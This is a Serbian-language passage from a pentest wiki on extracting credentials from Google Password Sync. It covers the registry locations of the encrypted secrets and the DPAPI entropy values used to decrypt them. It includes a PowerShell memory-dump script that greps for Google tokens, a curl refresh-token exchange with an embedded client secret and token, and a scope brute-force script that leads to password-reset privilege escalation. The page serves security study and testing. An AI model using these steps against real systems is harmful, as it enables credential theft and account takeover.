# GPS - Google Password Sync

{{#include ../../../banners/hacktricks-training.md}}

## Osnovne informacije

Ovo je binarni fajl i servis koji Google nudi kako bi **održao sinhronizovane lozinke korisnika između AD** i Workspace-a. Svaki put kada korisnik promeni svoju lozinku u AD-u, ona se postavlja na Google.

Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći binarni fajl `PasswordSync.exe` za konfiguraciju i `password_sync_service.exe` (servis koji će nastaviti da radi).

### GPS - Konfiguracija

Da biste konfigurisali ovaj binarni fajl (i servis), potrebno je **dati mu pristup Super Admin principalu u Workspace-u**:

- Prijavite se putem **OAuth** sa Google-om i onda će **sačuvati token u registru (kriptovan)**
- Dostupno samo na domen kontrolerima sa GUI
- Dati neke **akreditivne podatke servisnog naloga iz GCP** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
- Veoma loša ideja jer ti akreditivi nikada ne isteknu i mogu se zloupotrebiti
- Veoma loša ideja dati SA pristup preko workspace-a jer bi SA mogao biti kompromitovan u GCP-u i moguće je prebaciti se na Workspace
- Google to zahteva za domen kontrolisane bez GUI
- Ovi akreditivi se takođe čuvaju u registru

Što se tiče AD-a, moguće je naznačiti da koristi trenutni **kontekst aplikacija, anonimno ili neke specifične akreditive**. Ako je opcija akreditiva izabrana, **korisničko ime** se čuva unutar fajla na **disku** a **lozinka** je **kriptovana** i čuva se u **registru**.

### GPS - Ispisivanje lozinke i tokena sa diska

> [!TIP]
> Imajte na umu da [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) može da detektuje **GPS**, dobije informacije o konfiguraciji i **čak dekriptuje lozinku i token**.

U fajlu **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** moguće je pronaći deo konfiguracije kao što je **`baseDN`** AD-a koji je konfigurisan i **`username`** čiji se akreditivi koriste.

U registru **`HKLM\Software\Google\Google Apps Password Sync`** moguće je pronaći **kriptovani refresh token** i **kriptovanu lozinku** za AD korisnika (ako ih ima). Štaviše, ako se umesto tokena koriste neki **SA akreditivi**, takođe je moguće pronaći te kriptovane u toj adresi registra. **Vrednosti** unutar ovog registra su dostupne samo **Administratorima**.

Kriptovana **lozinka** (ako je ima) se nalazi unutar ključa **`ADPassword`** i kriptovana je koristeći **`CryptProtectData`** API. Da biste je dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinki i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`

Kriptovani token (ako ga ima) se nalazi unutar ključa **`AuthToken`** i kriptovan je koristeći **`CryptProtectData`** API. Da biste ga dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinki i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Štaviše, takođe je kodiran koristeći base32hex sa rečnikom **`0123456789abcdefghijklmnopqrstv`**.

Vrednosti entropije su pronađene korišćenjem alata. Konfigurisano je da prati pozive ka **`CryptUnprotectData`** i **`CryptProtectData`** i zatim je alat korišćen za pokretanje i praćenje `PasswordSync.exe` koji će dekriptovati konfigurisanju lozinku i auth token na početku, a alat će **prikazati vrednosti za korišćenu entropiju** u oba slučaja:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>

Imajte na umu da je takođe moguće videti **dekriptovane** vrednosti u ulazu ili izlazu poziva ovih API-ja takođe (u slučaju da u nekom trenutku Winpeas prestane da radi).

U slučaju da je Password Sync **konfiguran sa SA akreditivima**, takođe će biti sačuvani u ključevima unutar registra **`HKLM\Software\Google\Google Apps Password Sync`**.

### GPS - Ispisivanje tokena iz memorije

Baš kao i sa GCPW, moguće je ispisati memoriju procesa `PasswordSync.exe` i `password_sync_service.exe` i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
Pretpostavljam da biste takođe mogli pronaći konfigurirane akreditive za AD.

<details>

<summary>Ispisivanje <code>PasswordSync.exe</code> i <code>password_sync_service.exe</code> procesa i pretraga tokena</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}
```
</details>

### GPS - Generisanje pristupnih tokena iz osvežavajućih tokena

Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajnu klijenta navedene u sledećoj komandi:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```
### GPS - Scopes

> [!NOTE]
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
>
> Takođe, refresh token nije važeći u svakoj aplikaciji.

Podrazumevano, GPS neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:

<details>

<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>

I ovo je izlaz koji sam dobio u vreme pisanja:
```
https://www.googleapis.com/auth/admin.directory.user
```
Koji je isti kao onaj koji dobijate ako ne navedete nikakav opseg.

> [!CAUTION]
> Sa ovim opsegom možete **izmeniti lozinku postojećeg korisnika kako biste eskalirali privilegije**.

{{#include ../../../banners/hacktricks-training.md}}
